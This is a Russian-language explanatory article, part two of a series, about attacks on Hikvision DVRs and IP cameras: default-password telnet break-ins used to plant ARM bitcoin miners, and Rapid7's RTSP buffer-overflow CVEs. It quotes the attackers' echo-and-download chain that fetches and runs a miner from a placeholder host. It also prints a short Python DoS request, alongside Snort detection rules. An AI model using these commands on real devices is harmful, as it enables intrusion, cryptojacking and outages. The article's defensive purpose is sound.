Взлом регистраторов и IP-камер Hikvision. Часть 2

 

Начало - "Взлом регистраторов и IP-камер Hikvision. Часть 1"

 

Часть 2. "Примеры взломов"



 

"А вы пароль меняли?"



Вполне регулярно хакеры подламывают огромные сайты с большим количеством зарегистрированных пользователей. Некоторые вываливают результат своего взлома в сеть. Количество простых паролей в таких списках зашкаливает (с отрывом лидируют 123456, qwerty и password). На всех устройствах фирмы Hikvision по умолчанию стоит пароль 12345. Специальное всплывающее окошко умоляет сменить базовый пароль каждый раз как вы входите в систему, но как правило безрезультатно.

Один бодрый физик по фамилии Фейнман (соучастник сотворения мега-бомбы, участник проекта Манхеттен) отмечал в своих мемуарах, что для смеха взламывал сейфы своих сослуживцев, чем заработал себе интерестную репутацию. Сначала, он пробовал стандартные заводские комбинации (50-25-50, 25-50-25) и в четверти случаев сразу угадывал. Дальше в ход шел social engineering (дата рождения и прочее). Сейфы в результате вскрывались почти все.

Вскорости он пришел к большому армейскому начальнику, для затравки вскрыл его сейф и рассказал как важно менять пароли. В результате вышел таки специальный циркуляр. Только вместо принудительной смены пароля, всему персоналу вменялось принудительно не подпускать к сейфам гр. Фейнмана.

Проект Манхеттен, бомба, строжайшая секретность и при всём при этом - поразительное разгильдяйство. Что уж говорить про простых смертных. С людьми, которые не меняют стандартные пароли, всё время происходят весёлые приключения.

 



"Крадуны процессорной мощности"



Необходимо пояснить, что скрипты и вирусы, работающие по площадям, могут рассказать очень многое о том, что именно они ищут. Один из инструментов толкового эксперта - т.н. ханипот (англ. honeypot - горшочек с мёдом). Эксперт подсовывает в сеть незащищенный компьютер или устройство, и внимательно смотрит куда лезет вредный скрипт, что он закачивает, что скачивает, где ещё гадит и как мимикрирует.

В прошлом году, Иоганн Ульрих из института безопастности САНС заинтересовался одной необычной штукой. Нечто лазило по сети и целенаправленно ломилось в 23 порт (телнета) со стандартными логином-паролем для Хиквижновских регистраторов и камер (root-12345). Получив доступ, пытались выполниться явно нестандартные действия. Заинтригованный, Ульрих побёг в ближайший лабаз и разжился новеньким испанским регистратором S04 (украинский аналог - DS-7104HWI-SH). После включения в сеть, на 23 порт тут же начала тыкаться прорва разного. Со стандартной парой root-12345 пролезло шестеро. Пять полазили по файловой системе и отвалились до лучших времён. Шестой повёл себя наглее.



Дальше техническое, не все поймут.

На регистраторе нет функции "закачать", нет wget'а и подобных вещей. Они с мясом вырезаны составителями прошивки (очень урезанный busybox).

Залогинившийся скрипт незатейливо передал простое сообщение:

"echo -ne

'\x00\x00\x00\x2f\x00\x00\x00\x1a\x00\x00

 \x00\x00\x00\x00\x00\x05\x00\x00\x00\x00

 \x00\x00\x00\x04\x00\x00\x00\x00\x00\x00

 \x00\x31\x00\x00\x00\x00\x00

 \x00\x00\x2a\x00\x00\x00\x1b\x00\x00\x00

 \x14\x00\x00\x00' >> /var/run/rand0-btcminer-arm

 && echo -e '\x64\x6f\x6e\x65'"



 Первая команда echo передавала 51 байт информации в новый файл "/var/run/rand0-btcminer-arm" и вторая эха передавала "done". Несмотря на название - это на сам майнер, а только его загрузчик, некая разновидность wget'а. Далее он используется для загрузки собственно майнера.

./rand0-btcminer-arm http://айпиадрес/btcminer-arm

&& chmod u+x btcminer-arm

&& ./btcminer-arm -B -o stratum+tcp://другой_адрес:3333 -t 4 -q

&& echo -ne '\x64\x6f\x6e\x65'

 

Этим wget'ом качается собственно сам майнер (btcminer-arm), ему ставятся разрешения на исполнение (chmod u+x), итд. В конце опять завершающий "done".



Для непричастных - о биткоинах.

Некие граждане в интернете изобрели то, что они называют "криптовалютой". Эта валюта представляет собой группы чисел, подчиняющиеся определённому алгоритму. Добывается ("майнится", от англ. mine - шахта) подобная валюта с помощью процессорных вычислений. Для этих целей лучше всего подходят видеокарты - они делают эти вычисления быстрее и многопоточнее процессоров. Процессоры тоже конечно могут, но сильно хуже и медленнее.

Интересующимся следует гуглить по словам "биткоины", "майнинг" и "криптовалюты". Как понятно из названия загружаемой программы - это биткоин (btc) майнер (miner) для процессоров арм (arm). Эффективность подобного майнинга сомнительна. Но, руководствуясь извечными принципами "на шару и уксус сладкий" и "пять старушек уже рупь" - регистраторы с заводскими паролями были массово поставлены под ружьё и пыжились аж до перегорающих процессоров - чтобы заработать некоему дяде по пять копеек в неделю.

Позже с Ульрихом связались крадуны с одноразового аккаунта твиттер и в подтверждение своей важности даже подкинули ему кусок кода, которым перебиралась прорва адресов и заражались регистраторы.

Сам код не представляет особого интереса - это обычный питоновский скрипт с подключенной телнетовской библиотекой (telnetlib), который тыкает в 23 порт пару root-12345 и ждет ответа, далее проверяет регистратор ли это и сохраняет слепок файловой системы.

Интерес представляет то, что регистратор впоследствии заражался еще несколько раз, и последующие установленные майнеры вполне себе мирно сосуществовали вместе, занимаясь групповым изнасилованием стонающего АРМ процессорчика.

Ульрих обращает внимание что большинство майнеров предпочитают порт 3333.

Также, если у кого есть линукс - можете попробовать простые консольные команды:

 

# detect if we do have an exposed DVR in our network

alert TCP $HOME_NET 23 -> $EXTERNAL_NET any (msg: "DVR Login Prompt"; sid: 1100001; content: "|0a|dvrdvs login: "; flow: from_server, establishe\

d;)

# detect "banner" returned by busybox. Removed detailed version information

alert TCP $HOME_NET 23 -> $EXTERNAL_NET any (msg: "Successful BusyBox Telnet Login"; sid: 1100002; content: "BusyBox v"; content: "built-in shel\

l (ash)"; within: 60; flow: from_server, established;)

# specific "Subscribe" request used by this miner. May need to be a bit more generic. E.g. keep port at "any" ?

alert TCP $HOME_NET any -> $EXTERNAL_NET 3333 (msg: "bitcoin miner subscribe request"; sid: 1100003; content: "{\"id\": 1, \"method\": \"mining.\

subscribe\", \"params\"";)



Можно отметить, что регистраторы Hikvision были атакованы просто как самые распространённые. Подобные атаки жадных майнеров уже терпят роутеры Asus, nas'ы Synology и другие популярные бытовые устройства с открытым по умолчанию телнетом.





Серьёзные взломы и уязвимости



Безопастники из конторы Рапид7 протестировали регистратор 7204-HVI-SV (прошивка V2.2.10 build 131009). В их официальном отчёте сделан вывод о уязвимости переполнения буфера для этого и похожих регистраторов. Навскидку минимум 150 тысяч уязвимых устройств.

Были представлены следующие ошибки:

CVE-2014-4878 involves exploiting a buffer overflow in the RTSP request body handling
CVE-2014-4879 involves exploiting a buffer overflow in the RTSP request header handling
CVE-2014-4880 involves exploiting a buffer overflow in the RTSP request basic authentication handling.



Как гласит отчёт, при особым образом сформированном RTSP запросе, мы получаем ошибку переполнения буфера, а вследствие и контроь над системой. Для этого неважно какой сложности был пароль.

Хендлер RTSP запроса использует буфер фиксированной ширины (2048 байт). Следующий код вызывает Denial-of-Service:

request =  "PLAY rtsp://%s/ RTSP/1.0\r\n" % HOST
request += "CSeq: 7\r\n"
request += "Authorization: Basic AAAAAAA\r\n"
request += "Content-length: 3200\r\n\r\n"
request += "A"*3200



Коды вызова DoS для остальных ошибок выглядят похожим образом.



Для непричастных стоит пояснить, что получая контроль над системой - хакер получит не просто всю информацию с камеры или регистратора, но еще и удобную точку входа в локальную сеть (где может поживиться уже вещами поинтерестнее). Контора у Рапид7 ответственная, производитель был оповещён за пару недель до публикации уязвимости и успел все исправить.







Выводы



Популяризация регистраторов и камер фирмы Хиквижн, мировая слава, изобилие однотипных устройств - совокупность этих факторов неизбежно повышает риск быть взломанным. Это был лишь вопрос времени.

В целом, если держать рекомендованную производителем прошивку и придумать хитрый пароль - подавляющему большинству пользователей ничего не угрожает.

Компания Хиквижн стала подходить строжее к вопросом парольной безопасности - по изменению пароля теперь явно указывается его слабость. Просят обычно создавать цифробуквенный, ну и тд.

К тому же на всех новых моделях регистраторов и камер (начиная с прошивки 5.3 уже) будет по умолчанию закрыт телнет. Телнет кстати запирают не только поэтому. Некоторые граждане повадились покупать в китайских интернет магазинах камеры Hikvision предназначенные для внутреннего китайского рынка - что характерно, очень недорого. Потом путем шаманских плясок, телнета и гайда в интернете залоченный китайский аппарат начинал казать на вполне приличном английском. Подробнее эту тему мы раскроем в следующих статьях.